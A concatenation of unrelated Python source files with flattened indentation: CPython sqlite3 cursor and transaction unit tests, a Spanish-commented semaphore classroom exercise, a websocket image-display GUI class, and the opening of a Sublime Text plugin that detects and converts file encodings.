with managed_connect(f"file:{TESTFN}?mode=ro", uri=True) as cx:
cx.execute(self._sql)
def test_database_keyword(self):
with sqlite.connect(database=":memory:") as cx:
self.assertEqual(type(cx), sqlite.Connection)
class CursorTests(unittest.TestCase):
def setUp(self):
self.cx = sqlite.connect(":memory:")
self.cu = self.cx.cursor()
self.cu.execute(
"create table test(id integer primary key, name text, "
"income number, unique_test text unique)"
)
self.cu.execute("insert into test(name) values (?)", ("foo",))
def tearDown(self):
self.cu.close()
self.cx.close()
def test_execute_no_args(self):
self.cu.execute("delete from test")
def test_execute_illegal_sql(self):
with self.assertRaises(sqlite.OperationalError):
self.cu.execute("select asdf")
def test_execute_too_much_sql(self):
with self.assertRaises(sqlite.Warning):
self.cu.execute("select 5+4; select 4+5")
def test_execute_too_much_sql2(self):
self.cu.execute("select 5+4; -- foo bar")
def test_execute_too_much_sql3(self):
self.cu.execute("""
select 5+4;
/*
foo
*/
""")
def test_execute_wrong_sql_arg(self):
with self.assertRaises(TypeError):
self.cu.execute(42)
def test_execute_arg_int(self):
self.cu.execute("insert into test(id) values (?)", (42,))
def test_execute_arg_float(self):
self.cu.execute("insert into test(income) values (?)", (2500.32,))
def test_execute_arg_string(self):
self.cu.execute("insert into test(name) values (?)", ("Hugo",))
def test_execute_arg_string_with_zero_byte(self):
self.cu.execute("insert into test(name) values (?)", ("Hu\x00go",))
self.cu.execute("select name from test where id=?", (self.cu.lastrowid,))
row = self.cu.fetchone()
self.assertEqual(row[0], "Hu\x00go")
def test_execute_non_iterable(self):
with self.assertRaises(ValueError) as cm:
self.cu.execute("insert into test(id) values (?)", 42)
self.assertEqual(str(cm.exception), 'parameters are of unsupported type')
def test_execute_wrong_no_of_args1(self):
# too many parameters
with self.assertRaises(sqlite.ProgrammingError):
self.cu.execute("insert into test(id) values (?)", (17, "Egon"))
def test_execute_wrong_no_of_args2(self):
# too little parameters
with self.assertRaises(sqlite.ProgrammingError):
self.cu.execute("insert into test(id) values (?)")
def test_execute_wrong_no_of_args3(self):
# no parameters, parameters are needed
with self.assertRaises(sqlite.ProgrammingError):
self.cu.execute("insert into test(id) values (?)")
def test_execute_param_list(self):
self.cu.execute("insert into test(name) values ('foo')")
self.cu.execute("select name from test where name=?", ["foo"])
row = self.cu.fetchone()
self.assertEqual(row[0], "foo")
def test_execute_param_sequence(self):
class L:
def __len__(self):
return 1
def __getitem__(self, x):
assert x == 0
return "foo"
self.cu.execute("insert into test(name) values ('foo')")
self.cu.execute("select name from test where name=?", L())
row = self.cu.fetchone()
self.assertEqual(row[0], "foo")
def test_execute_param_sequence_bad_len(self):
# Issue41662: Error in __len__() was overridden with ProgrammingError.
class L:
def __len__(self):
1/0
def __getitem__(slf, x):
raise AssertionError
self.cu.execute("insert into test(name) values ('foo')")
with self.assertRaises(ZeroDivisionError):
self.cu.execute("select name from test where name=?", L())
def test_execute_too_many_params(self):
category = sqlite.SQLITE_LIMIT_VARIABLE_NUMBER
msg = "too many SQL variables"
with cx_limit(self.cx, category=category, limit=1):
self.cu.execute("select * from test where id=?", (1,))
with self.assertRaisesRegex(sqlite.OperationalError, msg):
self.cu.execute("select * from test where id!=? and id!=?",
(1, 2))
def test_execute_dict_mapping(self):
self.cu.execute("insert into test(name) values ('foo')")
self.cu.execute("select name from test where name=:name", {"name": "foo"})
row = self.cu.fetchone()
self.assertEqual(row[0], "foo")
def test_execute_dict_mapping_mapping(self):
class D(dict):
def __missing__(self, key):
return "foo"
self.cu.execute("insert into test(name) values ('foo')")
self.cu.execute("select name from test where name=:name", D())
row = self.cu.fetchone()
self.assertEqual(row[0], "foo")
def test_execute_dict_mapping_too_little_args(self):
self.cu.execute("insert into test(name) values ('foo')")
with self.assertRaises(sqlite.ProgrammingError):
self.cu.execute("select name from test where name=:name and id=:id", {"name": "foo"})
def test_execute_dict_mapping_no_args(self):
self.cu.execute("insert into test(name) values ('foo')")
with self.assertRaises(sqlite.ProgrammingError):
self.cu.execute("select name from test where name=:name")
def test_execute_dict_mapping_unnamed(self):
self.cu.execute("insert into test(name) values ('foo')")
with self.assertRaises(sqlite.ProgrammingError):
self.cu.execute("select name from test where name=?", {"name": "foo"})
def test_close(self):
self.cu.close()
def test_rowcount_execute(self):
self.cu.execute("delete from test")
self.cu.execute("insert into test(name) values ('foo')")
self.cu.execute("insert into test(name) values ('foo')")
self.cu.execute("update test set name='bar'")
self.assertEqual(self.cu.rowcount, 2)
def test_rowcount_select(self):
"""
pysqlite does not know the rowcount of SELECT statements, because we
don't fetch all rows after executing the select statement. The rowcount
has thus to be -1.
"""
self.cu.execute("select 5 union select 6")
self.assertEqual(self.cu.rowcount, -1)
def test_rowcount_executemany(self):
self.cu.execute("delete from test")
self.cu.executemany("insert into test(name) values (?)", [(1,), (2,), (3,)])
self.assertEqual(self.cu.rowcount, 3)
def test_total_changes(self):
self.cu.execute("insert into test(name) values ('foo')")
self.cu.execute("insert into test(name) values ('foo')")
self.assertLess(2, self.cx.total_changes, msg='total changes reported wrong value')
# Checks for executemany:
# Sequences are required by the DB-API, iterators
# enhancements in pysqlite.
def test_execute_many_sequence(self):
self.cu.executemany("insert into test(income) values (?)", [(x,) for x in range(100, 110)])
def test_execute_many_iterator(self):
class MyIter:
def __init__(self):
self.value = 5
def __iter__(self):
return self
def __next__(self):
if self.value == 10:
raise StopIteration
else:
self.value += 1
return (self.value,)
self.cu.executemany("insert into test(income) values (?)", MyIter())
def test_execute_many_generator(self):
def mygen():
for i in range(5):
yield (i,)
self.cu.executemany("insert into test(income) values (?)", mygen())
def test_execute_many_wrong_sql_arg(self):
with self.assertRaises(TypeError):
self.cu.executemany(42, [(3,)])
def test_execute_many_select(self):
with self.assertRaises(sqlite.ProgrammingError):
self.cu.executemany("select ?", [(3,)])
def test_execute_many_not_iterable(self):
with self.assertRaises(TypeError):
self.cu.executemany("insert into test(income) values (?)", 42)
def test_fetch_iter(self):
# Optional DB-API extension.
self.cu.execute("delete from test")
self.cu.execute("insert into test(id) values (?)", (5,))
self.cu.execute("insert into test(id) values (?)", (6,))
self.cu.execute("select id from test order by id")
lst = []
for row in self.cu:
lst.append(row[0])
self.assertEqual(lst[0], 5)
self.assertEqual(lst[1], 6)
def test_fetchone(self):
self.cu.execute("select name from test")
row = self.cu.fetchone()
self.assertEqual(row[0], "foo")
row = self.cu.fetchone()
self.assertEqual(row, None)
def test_fetchone_no_statement(self):
cur = self.cx.cursor()
row = cur.fetchone()
self.assertEqual(row, None)
def test_array_size(self):
# must default to 1
self.assertEqual(self.cu.arraysize, 1)
# now set to 2
self.cu.arraysize = 2
# now make the query return 3 rows
self.cu.execute("delete from test")
self.cu.execute("insert into test(name) values ('A')")
self.cu.execute("insert into test(name) values ('B')")
self.cu.execute("insert into test(name) values ('C')")
self.cu.execute("select name from test")
res = self.cu.fetchmany()
self.assertEqual(len(res), 2)
def test_fetchmany(self):
self.cu.execute("select name from test")
res = self.cu.fetchmany(100)
self.assertEqual(len(res), 1)
res = self.cu.fetchmany(100)
self.assertEqual(res, [])
def test_fetchmany_kw_arg(self):
"""Checks if fetchmany works with keyword arguments"""
self.cu.execute("select name from test")
res = self.cu.fetchmany(size=100)
self.assertEqual(len(res), 1)
def test_fetchall(self):
self.cu.execute("select name from test")
res = self.cu.fetchall()
self.assertEqual(len(res), 1)
res = self.cu.fetchall()
self.assertEqual(res, [])
def test_setinputsizes(self):
self.cu.setinputsizes([3, 4, 5])
def test_setoutputsize(self):
self.cu.setoutputsize(5, 0)
def test_setoutputsize_no_column(self):
self.cu.setoutputsize(42)
def test_cursor_connection(self):
# Optional DB-API extension.
self.assertEqual(self.cu.connection, self.cx)
def test_wrong_cursor_callable(self):
with self.assertRaises(TypeError):
def f(): pass
cur = self.cx.cursor(f)
def test_cursor_wrong_class(self):
class Foo: pass
foo = Foo()
with self.assertRaises(TypeError):
cur = sqlite.Cursor(foo)
def test_last_row_id_on_replace(self):
"""
INSERT OR REPLACE and REPLACE INTO should produce the same behavior.
"""
sql = '{} INTO test(id, unique_test) VALUES (?, ?)'
for statement in ('INSERT OR REPLACE', 'REPLACE'):
with self.subTest(statement=statement):
self.cu.execute(sql.format(statement), (1, 'foo'))
self.assertEqual(self.cu.lastrowid, 1)
def test_last_row_id_on_ignore(self):
self.cu.execute(
"insert or ignore into test(unique_test) values (?)",
('test',))
self.assertEqual(self.cu.lastrowid, 2)
self.cu.execute(
"insert or ignore into test(unique_test) values (?)",
('test',))
self.assertEqual(self.cu.lastrowid, 2)
def test_last_row_id_insert_o_r(self):
results = []
for statement in ('FAIL', 'ABORT', 'ROLLBACK'):
sql = 'INSERT OR {} INTO test(unique_test) VALUES (?)'
with self.subTest(statement='INSERT OR {}'.format(statement)):
self.cu.execute(sql.format(statement), (statement,))
results.append((statement, self.cu.lastrowid))
with self.assertRaises(sqlite.IntegrityError):
self.cu.execute(sql.format(statement), (statement,))
results.append((statement, self.cu.lastrowid))
expected = [
('FAIL', 2), ('FAIL', 2),
('ABORT', 3), ('ABORT', 3),
('ROLLBACK', 4), ('ROLLBACK', 4),
]
self.assertEqual(results, expected)
def test_column_count(self):
# Check that column count is updated correctly for cached statements
select = "select * from test"
res = self.cu.execute(select)
old_count = len(res.description)
# Add a new column and execute the cached select query again
self.cu.execute("alter table test add newcol")
res = self.cu.execute(select)
new_count = len(res.description)
self.assertEqual(new_count - old_count, 1)
def test_same_query_in_multiple_cursors(self):
cursors = [self.cx.execute("select 1") for _ in range(3)]
for cu in cursors:
self.assertEqual(cu.fetchall(), [(1,)])
class ThreadTests(unittest.TestCase):
def setUp(self):
self.con = sqlite.connect(":memory:")
self.cur = self.con.cursor()
self.cur.execute("create table test(name text)")
def tearDown(self):
self.cur.close()
self.con.close()
@threading_helper.reap_threads
def _run_test(self, fn, *args, **kwds):
def run(err):
try:
fn(*args, **kwds)
err.append("did not raise ProgrammingError")
except sqlite.ProgrammingError:
pass
except:
err.append("raised wrong exception")
err = []
t = threading.Thread(target=run, kwargs={"err": err})
t.start()
t.join()
if err:
self.fail("\n".join(err))
def test_check_connection_thread(self):
fns = [
lambda: self.con.cursor(),
lambda: self.con.commit(),
lambda: self.con.rollback(),
lambda: self.con.close(),
lambda: self.con.set_trace_callback(None),
lambda: self.con.set_authorizer(None),
lambda: self.con.create_collation("foo", None),
lambda: self.con.setlimit(sqlite.SQLITE_LIMIT_LENGTH, -1),
lambda: self.con.getlimit(sqlite.SQLITE_LIMIT_LENGTH),
]
for fn in fns:
with self.subTest(fn=fn):
self._run_test(fn)
def test_check_cursor_thread(self):
fns = [
lambda: self.cur.execute("insert into test(name) values('a')"),
lambda: self.cur.close(),
lambda: self.cur.execute("select name from test"),
lambda: self.cur.fetchone(),
]
for fn in fns:
with self.subTest(fn=fn):
self._run_test(fn)
@threading_helper.reap_threads
def test_dont_check_same_thread(self):
def run(con, err):
try:
con.execute("select 1")
except sqlite.Error:
err.append("multi-threading not allowed")
con = sqlite.connect(":memory:", check_same_thread=False)
err = []
t = threading.Thread(target=run, kwargs={"con": con, "err": err})
t.start()
t.join()
self.assertEqual(len(err), 0, "\n".join(err))
class ConstructorTests(unittest.TestCase):
def test_date(self):
d = sqlite.Date(2004, 10, 28)
def test_time(self):
t = sqlite.Time(12, 39, 35)
def test_timestamp(self):
ts = sqlite.Timestamp(2004, 10, 28, 12, 39, 35)
def test_date_from_ticks(self):
d = sqlite.DateFromTicks(42)
def test_time_from_ticks(self):
t = sqlite.TimeFromTicks(42)
def test_timestamp_from_ticks(self):
ts = sqlite.TimestampFromTicks(42)
def test_binary(self):
b = sqlite.Binary(b"\0'")
class ExtensionTests(unittest.TestCase):
def test_script_string_sql(self):
con = sqlite.connect(":memory:")
cur = con.cursor()
cur.executescript("""
-- bla bla
/* a stupid comment */
create table a(i);
insert into a(i) values (5);
""")
cur.execute("select i from a")
res = cur.fetchone()[0]
self.assertEqual(res, 5)
def test_script_syntax_error(self):
con = sqlite.connect(":memory:")
cur = con.cursor()
with self.assertRaises(sqlite.OperationalError):
cur.executescript("create table test(x); asdf; create table test2(x)")
def test_script_error_normal(self):
con = sqlite.connect(":memory:")
cur = con.cursor()
with self.assertRaises(sqlite.OperationalError):
cur.executescript("create table test(sadfsadfdsa); select foo from hurz;")
def test_cursor_executescript_as_bytes(self):
con = sqlite.connect(":memory:")
cur = con.cursor()
with self.assertRaises(TypeError):
cur.executescript(b"create table test(foo); insert into test(foo) values (5);")
def test_cursor_executescript_with_null_characters(self):
con = sqlite.connect(":memory:")
cur = con.cursor()
with self.assertRaises(ValueError):
cur.executescript("""
create table a(i);\0
insert into a(i) values (5);
""")
def test_cursor_executescript_with_surrogates(self):
con = sqlite.connect(":memory:")
cur = con.cursor()
with self.assertRaises(UnicodeEncodeError):
cur.executescript("""
create table a(s);
insert into a(s) values ('\ud8ff');
""")
def test_cursor_executescript_too_large_script(self):
msg = "query string is too large"
with memory_database() as cx, cx_limit(cx) as lim:
cx.executescript("select 'almost too large'".ljust(lim))
with self.assertRaisesRegex(sqlite.DataError, msg):
cx.executescript("select 'too large'".ljust(lim+1))
def test_cursor_executescript_tx_control(self):
con = sqlite.connect(":memory:")
con.execute("begin")
self.assertTrue(con.in_transaction)
con.executescript("select 1")
self.assertFalse(con.in_transaction)
def test_connection_execute(self):
con = sqlite.connect(":memory:")
result = con.execute("select 5").fetchone()[0]
self.assertEqual(result, 5, "Basic test of Connection.execute")
def test_connection_executemany(self):
con = sqlite.connect(":memory:")
con.execute("create table test(foo)")
con.executemany("insert into test(foo) values (?)", [(3,), (4,)])
result = con.execute("select foo from test order by foo").fetchall()
self.assertEqual(result[0][0], 3, "Basic test of Connection.executemany")
self.assertEqual(result[1][0], 4, "Basic test of Connection.executemany")
def test_connection_executescript(self):
con = sqlite.connect(":memory:")
con.executescript("create table test(foo); insert into test(foo) values (5);")
result = con.execute("select foo from test").fetchone()[0]
self.assertEqual(result, 5, "Basic test of Connection.executescript")
class ClosedConTests(unittest.TestCase):
def test_closed_con_cursor(self):
con = sqlite.connect(":memory:")
con.close()
with self.assertRaises(sqlite.ProgrammingError):
cur = con.cursor()
def test_closed_con_commit(self):
con = sqlite.connect(":memory:")
con.close()
with self.assertRaises(sqlite.ProgrammingError):
con.commit()
def test_closed_con_rollback(self):
con = sqlite.connect(":memory:")
con.close()
with self.assertRaises(sqlite.ProgrammingError):
con.rollback()
def test_closed_cur_execute(self):
con = sqlite.connect(":memory:")
cur = con.cursor()
con.close()
with self.assertRaises(sqlite.ProgrammingError):
cur.execute("select 4")
def test_closed_create_function(self):
con = sqlite.connect(":memory:")
con.close()
def f(x): return 17
with self.assertRaises(sqlite.ProgrammingError):
con.create_function("foo", 1, f)
def test_closed_create_aggregate(self):
con = sqlite.connect(":memory:")
con.close()
class Agg:
def __init__(self):
pass
def step(self, x):
pass
def finalize(self):
return 17
with self.assertRaises(sqlite.ProgrammingError):
con.create_aggregate("foo", 1, Agg)
def test_closed_set_authorizer(self):
con = sqlite.connect(":memory:")
con.close()
def authorizer(*args):
return sqlite.DENY
with self.assertRaises(sqlite.ProgrammingError):
con.set_authorizer(authorizer)
def test_closed_set_progress_callback(self):
con = sqlite.connect(":memory:")
con.close()
def progress(): pass
with self.assertRaises(sqlite.ProgrammingError):
con.set_progress_handler(progress, 100)
def test_closed_call(self):
con = sqlite.connect(":memory:")
con.close()
with self.assertRaises(sqlite.ProgrammingError):
con()
class ClosedCurTests(unittest.TestCase):
def test_closed(self):
con = sqlite.connect(":memory:")
cur = con.cursor()
cur.close()
for method_name in ("execute", "executemany", "executescript", "fetchall", "fetchmany", "fetchone"):
if method_name in ("execute", "executescript"):
params = ("select 4 union select 5",)
elif method_name == "executemany":
params = ("insert into foo(bar) values (?)", [(3,), (4,)])
else:
params = []
with self.assertRaises(sqlite.ProgrammingError):
method = getattr(cur, method_name)
method(*params)
class SqliteOnConflictTests(unittest.TestCase):
"""
Tests for SQLite's "insert on conflict" feature.
See https://www.sqlite.org/lang_conflict.html for details.
"""
def setUp(self):
self.cx = sqlite.connect(":memory:")
self.cu = self.cx.cursor()
self.cu.execute("""
CREATE TABLE test(
id INTEGER PRIMARY KEY, name TEXT, unique_name TEXT UNIQUE
);
""")
def tearDown(self):
self.cu.close()
self.cx.close()
def test_on_conflict_rollback_with_explicit_transaction(self):
self.cx.isolation_level = None # autocommit mode
self.cu = self.cx.cursor()
# Start an explicit transaction.
self.cu.execute("BEGIN")
self.cu.execute("INSERT INTO test(name) VALUES ('abort_test')")
self.cu.execute("INSERT OR ROLLBACK INTO test(unique_name) VALUES ('foo')")
with self.assertRaises(sqlite.IntegrityError):
self.cu.execute("INSERT OR ROLLBACK INTO test(unique_name) VALUES ('foo')")
# Use connection to commit.
self.cx.commit()
self.cu.execute("SELECT name, unique_name from test")
# Transaction should have rolled back and nothing should be in table.
self.assertEqual(self.cu.fetchall(), [])
def test_on_conflict_abort_raises_with_explicit_transactions(self):
# Abort cancels the current sql statement but doesn't change anything
# about the current transaction.
self.cx.isolation_level = None # autocommit mode
self.cu = self.cx.cursor()
# Start an explicit transaction.
self.cu.execute("BEGIN")
self.cu.execute("INSERT INTO test(name) VALUES ('abort_test')")
self.cu.execute("INSERT OR ABORT INTO test(unique_name) VALUES ('foo')")
with self.assertRaises(sqlite.IntegrityError):
self.cu.execute("INSERT OR ABORT INTO test(unique_name) VALUES ('foo')")
self.cx.commit()
self.cu.execute("SELECT name, unique_name FROM test")
# Expect the first two inserts to work, third to do nothing.
self.assertEqual(self.cu.fetchall(), [('abort_test', None), (None, 'foo',)])
def test_on_conflict_rollback_without_transaction(self):
# Start of implicit transaction
self.cu.execute("INSERT INTO test(name) VALUES ('abort_test')")
self.cu.execute("INSERT OR ROLLBACK INTO test(unique_name) VALUES ('foo')")
with self.assertRaises(sqlite.IntegrityError):
self.cu.execute("INSERT OR ROLLBACK INTO test(unique_name) VALUES ('foo')")
self.cu.execute("SELECT name, unique_name FROM test")
# Implicit transaction is rolled back on error.
self.assertEqual(self.cu.fetchall(), [])
def test_on_conflict_abort_raises_without_transactions(self):
# Abort cancels the current sql statement but doesn't change anything
# about the current transaction.
self.cu.execute("INSERT INTO test(name) VALUES ('abort_test')")
self.cu.execute("INSERT OR ABORT INTO test(unique_name) VALUES ('foo')")
with self.assertRaises(sqlite.IntegrityError):
self.cu.execute("INSERT OR ABORT INTO test(unique_name) VALUES ('foo')")
# Make sure all other values were inserted.
self.cu.execute("SELECT name, unique_name FROM test")
self.assertEqual(self.cu.fetchall(), [('abort_test', None), (None, 'foo',)])
def test_on_conflict_fail(self):
self.cu.execute("INSERT OR FAIL INTO test(unique_name) VALUES ('foo')")
with self.assertRaises(sqlite.IntegrityError):
self.cu.execute("INSERT OR FAIL INTO test(unique_name) VALUES ('foo')")
self.assertEqual(self.cu.fetchall(), [])
def test_on_conflict_ignore(self):
self.cu.execute("INSERT OR IGNORE INTO test(unique_name) VALUES ('foo')")
# Nothing should happen.
self.cu.execute("INSERT OR IGNORE INTO test(unique_name) VALUES ('foo')")
self.cu.execute("SELECT unique_name FROM test")
self.assertEqual(self.cu.fetchall(), [('foo',)])
def test_on_conflict_replace(self):
self.cu.execute("INSERT OR REPLACE INTO test(name, unique_name) VALUES ('Data!', 'foo')")
# There shouldn't be an IntegrityError exception.
self.cu.execute("INSERT OR REPLACE INTO test(name, unique_name) VALUES ('Very different data!', 'foo')")
self.cu.execute("SELECT name, unique_name FROM test")
self.assertEqual(self.cu.fetchall(), [('Very different data!', 'foo')])
class MultiprocessTests(unittest.TestCase):
CONNECTION_TIMEOUT = SHORT_TIMEOUT / 1000. # Defaults to 30 ms
def tearDown(self):
unlink(TESTFN)
def test_ctx_mgr_rollback_if_commit_failed(self):
# bpo-27334: ctx manager does not rollback if commit fails
SCRIPT = f"""if 1:
import sqlite3
def wait():
print("started")
assert "database is locked" in input()
cx = sqlite3.connect("{TESTFN}", timeout={self.CONNECTION_TIMEOUT})
cx.create_function("wait", 0, wait)
with cx:
cx.execute("create table t(t)")
try:
# execute two transactions; both will try to lock the db
cx.executescript('''
-- start a transaction and wait for parent
begin transaction;
select * from t;
select wait();
rollback;
-- start a new transaction; would fail if parent holds lock
begin transaction;
select * from t;
rollback;
''')
finally:
cx.close()
"""
# spawn child process
proc = subprocess.Popen(
[sys.executable, "-c", SCRIPT],
encoding="utf-8",
bufsize=0,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
)
self.addCleanup(proc.communicate)
# wait for child process to start
self.assertEqual("started", proc.stdout.readline().strip())
cx = sqlite.connect(TESTFN, timeout=self.CONNECTION_TIMEOUT)
try: # context manager should correctly release the db lock
with cx:
cx.execute("insert into t values('test')")
except sqlite.OperationalError as exc:
proc.stdin.write(str(exc))
else:
proc.stdin.write("no error")
finally:
cx.close()
# terminate child process
self.assertIsNone(proc.returncode)
try:
proc.communicate(input="end", timeout=SHORT_TIMEOUT)
except subprocess.TimeoutExpired:
proc.kill()
proc.communicate()
raise
self.assertEqual(proc.returncode, 0)
if __name__ == "__main__":
unittest.main()
|
funProf.py |
from threading import Semaphore, Thread
from time import sleep
from random import random,choice
def Asesoria(id_estudiante, cubiculo, profesor):
print("\tllego el Estudiante %d" % id_estudiante)
sleep(random())
cubiculo.acquire() # semáforo que permite regular que solo 3 alumnos estén dentro del cubículo
pregunta = choice(range(1,5))
print(">> Estudiante %d Entra al cubículo y tiene %d dudas" % (id_estudiante, pregunta))
while (pregunta > 0):
sleep(random())
profesor.acquire() # lo uso como torniquete que solo permite que uno de los estudiantes dentro del cubículo haga su pregunta
print("\tDuda %d resuelta a Estudiante %d" % (pregunta, id_estudiante))
pregunta = pregunta -1
profesor.release()
sleep(random())
print("<< Estudiante %d: Abandonando el cubículo" % id_estudiante)
cubiculo.release()
print("El profesor duerme")
cubiculo = Semaphore(3) #cantidad máxima de alumnos dentro del cubículo
profesor = Semaphore(1) #solo responde a un alubno a la vez
i=0
while True:
i=i+1
#for i in range(1,10):
Thread(target=Asesoria, args=[i, cubiculo, profesor]).start()
sleep(1)
|
gui.py | import json
import cv2
import base64
import threading
import time
from datetime import datetime
from websocket_server import WebsocketServer
import logging
# Graphical User Interface Class
class GUI:
# Initialization function
# The actual initialization
def __init__(self, host, hal):
t = threading.Thread(target=self.run_server)
self.payload = {'image': '', 'shape': []}
self.server = None
self.client = None
self.host = host
# Image variables
self.image_to_be_shown = None
self.image_to_be_shown_updated = False
self.image_show_lock = threading.Lock()
self.acknowledge = False
self.acknowledge_lock = threading.Lock()
# Take the console object to set the same websocket and client
self.hal = hal
t.start()
# Explicit initialization function
# Class method, so user can call it without instantiation
@classmethod
def initGUI(cls, host):
# self.payload = {'image': '', 'shape': []}
new_instance = cls(host)
return new_instance
# Function to prepare image payload
# Encodes the image as a JSON string and sends through the WS
def payloadImage(self):
self.image_show_lock.acquire()
image_to_be_shown_updated = self.image_to_be_shown_updated
image_to_be_shown = self.image_to_be_shown
self.image_show_lock.release()
image = image_to_be_shown
payload = {'image': '', 'shape': ''}
if(image_to_be_shown_updated == False):
return payload
shape = image.shape
frame = cv2.imencode('.JPEG', image)[1]
encoded_image = base64.b64encode(frame)
payload['image'] = encoded_image.decode('utf-8')
payload['shape'] = shape
self.image_show_lock.acquire()
self.image_to_be_shown_updated = False
self.image_show_lock.release()
return payload
# Function for student to call
def showImage(self, image):
self.image_show_lock.acquire()
self.image_to_be_shown = image
self.image_to_be_shown_updated = True
self.image_show_lock.release()
# Function to get the client
# Called when a new client is received
def get_client(self, client, server):
self.client = client
# Function to get value of Acknowledge
def get_acknowledge(self):
self.acknowledge_lock.acquire()
acknowledge = self.acknowledge
self.acknowledge_lock.release()
return acknowledge
# Function to set value of Acknowledge
def set_acknowledge(self, value):
self.acknowledge_lock.acquire()
self.acknowledge = value
self.acknowledge_lock.release()
# Update the gui
def update_gui(self):
# Payload Image Message
payload = self.payloadImage()
self.payload["image"] = json.dumps(payload)
message = "#gui" + json.dumps(self.payload)
self.server.send_message(self.client, message)
# Function to read the message from websocket
# Gets called when there is an incoming message from the client
def get_message(self, client, server, message):
# Acknowledge Message for GUI Thread
if(message[:4] == "#ack"):
self.set_acknowledge(True)
# Activate the server
def run_server(self):
self.server = WebsocketServer(port=2303, host=self.host)
self.server.set_fn_new_client(self.get_client)
self.server.set_fn_message_received(self.get_message)
self.server.run_forever()
# This class decouples the user thread
# and the GUI update thread
class ThreadGUI(threading.Thread):
def __init__(self, gui):
self.gui = gui
# Time variables
self.time_cycle = 80
self.ideal_cycle = 90
self.iteration_counter = 0
# Function to start the execution of threads
def start(self):
self.measure_thread = threading.Thread(target=self.measure_thread)
self.thread = threading.Thread(target=self.run)
self.measure_thread.start()
self.thread.start()
print("GUI Thread Started!")
# The measuring thread to measure frequency
def measure_thread(self):
while(self.gui.client == None):
pass
previous_time = datetime.now()
while(True):
# Sleep for 2 seconds
time.sleep(2)
# Measure the current time and subtract from previous time to get real time interval
current_time = datetime.now()
dt = current_time - previous_time
ms = (dt.days * 24 * 60 * 60 + dt.seconds) * 1000 + dt.microseconds / 1000.0
previous_time = current_time
# Get the time period
try:
# Division by zero
self.ideal_cycle = ms / self.iteration_counter
except:
self.ideal_cycle = 0
# Reset the counter
self.iteration_counter = 0
def run(self):
while (self.gui.client == None):
pass
while (True):
start_time = datetime.now()
self.gui.update_gui()
acknowledge_message = self.gui.get_acknowledge()
while (acknowledge_message == False):
acknowledge_message = self.gui.get_acknowledge()
self.gui.set_acknowledge(False)
finish_time = datetime.now()
self.iteration_counter = self.iteration_counter + 1
dt = finish_time - start_time
ms = (dt.days * 24 * 60 * 60 + dt.seconds) * 1000 + dt.microseconds / 1000.0
if (ms < self.time_cycle):
time.sleep((self.time_cycle - ms) / 1000.0)
|
ConvertToUTF8.py | # -*- coding: utf-8 -*-
import sublime, sublime_plugin
import sys
import os
if sys.version_info < (3, 0):
from chardet.universaldetector import UniversalDetector
NONE_COMMAND = (None, None, 0)
ST3 = False
else:
from .chardet.universaldetector import UniversalDetector
NONE_COMMAND = ('', None, 0)
ST3 = True
import codecs
import threading
import json
import time
import hashlib
import shutil
SKIP_ENCODINGS = ('ASCII', 'UTF-8', 'UTF-16LE', 'UTF-16BE')
SUPERSETS = {
'GB2312': 'GBK',
'GBK': 'GB18030',
'BIG5': 'CP950', # CP950 is common in Taiwan
'CP950': 'BIG5-HKSCS', # HK official Big5 variant
'EUC-KR': 'CP949' # CP949 is a superset of euc-kr!
}
SETTINGS = {}
REVERTING_FILES = []
CONFIRM_IS_AVAILABLE = ('ok_cancel_dialog' in dir(sublime))
DIFF_IS_AVAILABLE = ('reset_reference_document' in dir(sublime.View))
ENCODINGS_NAME = []
ENCODINGS_CODE = []
class EncodingCache(object):
def __init__(self):
self.file = os.path.join(CACHE_ROOT, 'encoding_cache.json')
self.cache = []
self.max_size = -1
self.dirty = False
self.load()
def save_on_dirty(self):
if self.dirty:
return
self.dirty = True
sublime.set_timeout(self.save, 10000)
def shrink(self):
if self.max_size < 0:
return
if len(self.cache) > self.max_size:
self.save_on_dirty()
del self.cache[self.max_size:]
def set_max_size(self, max_size):
self.max_size = max_size
self.shrink()
def load(self):
if not os.path.exists(self.file):
return
fp = open(self.file, 'r')
try:
self.cache = json.load(fp)
except ValueError:
# the cache file is corrupted
return
finally:
fp.close()
if len(self.cache) > 0:
if 'file' in self.cache[0]:
# old style cache
new_cache = []
for item in self.cache:
new_cache.append({
item['file']: item['encoding']
})
self.cache = new_cache
self.save_on_dirty()
def save(self):
self.shrink()
fp = open(self.file, 'w')
json.dump(self.cache, fp)
fp.close()
self.dirty = False
def get(self, file_name):
for item in self.cache:
if file_name in item:
return item.get(file_name)
return None
def pop(self, file_name):
for item in self.cache:
if file_name in item:
self.cache.remove(item)
self.save_on_dirty()
return item.get(file_name)
return None
def set(self, file_name, encoding):
if self.max_size < 1:
return
self.pop(file_name)
self.cache.insert(0, {
file_name: encoding
})
self.save_on_dirty()
encoding_cache = None
OPT_MAP = {
'convert_and_open': True,
'no_action': False,
'always': True,
'never': False,
True: True,
False: False
}
def get_settings():
global ENCODINGS_NAME, ENCODINGS_CODE
settings = sublime.load_settings('ConvertToUTF8.sublime-settings')
encoding_list = settings.get('encoding_list', [])
ENCODINGS_NAME = [pair[0] for pair in encoding_list]
ENCODINGS_CODE = [pair[1] for pair in encoding_list]
encoding_cache.set_max_size(settings.get('max_cache_size', 100))
SETTINGS['max_detect_lines'] = settings.get('max_detect_lines', 600)
SETTINGS['preview_action'] = OPT_MAP.get(settings.get('preview_action', False))
SETTINGS['default_encoding_on_create'] = settings.get('default_encoding_on_create', '')
SETTINGS['convert_on_load'] = OPT_MAP.get(settings.get('convert_on_load', True))
SETTINGS['convert_on_save'] = OPT_MAP.get(settings.get('convert_on_save', True))
SETTINGS['lazy_reload'] = settings.get('lazy_reload', True)
SETTINGS['convert_on_find'] = settings.get('convert_on_find', False)
SETTINGS['confidence'] = settings.get('confidence', 0.95)
SETTINGS['reset_diff_markers'] = settings.get('reset_diff_markers', True)
SETTINGS['show_encoding_status'] = settings.get('show_encoding_status', True)
def get_setting(view, key):
# read project specific settings first
return view.settings().get(key, SETTINGS[key]);
TMP_DIR = None
def get_temp_name(name):
if not name:
return None
name = name.encode('UTF-8')
return hashlib.md5(name).hexdigest()
def clean_temp_folder():
tmp_files = os.listdir(TMP_DIR)
for win in sublime.windows():
for view in win.views():
file_name = view.file_name()
tmp_name = get_temp_name(file_name)
if tmp_name in tmp_files:
if not view.is_dirty():
tmp_file = os.path.join(TMP_DIR, tmp_name)
# check mtime
mtime1 = os.path.getmtime(file_name)
mtime2 = os.path.getmtime(tmp_file)
if mtime1 != mtime2:
# file was changed outside
view.settings().erase('prevent_detect')
continue
shutil.move(tmp_file, file_name)
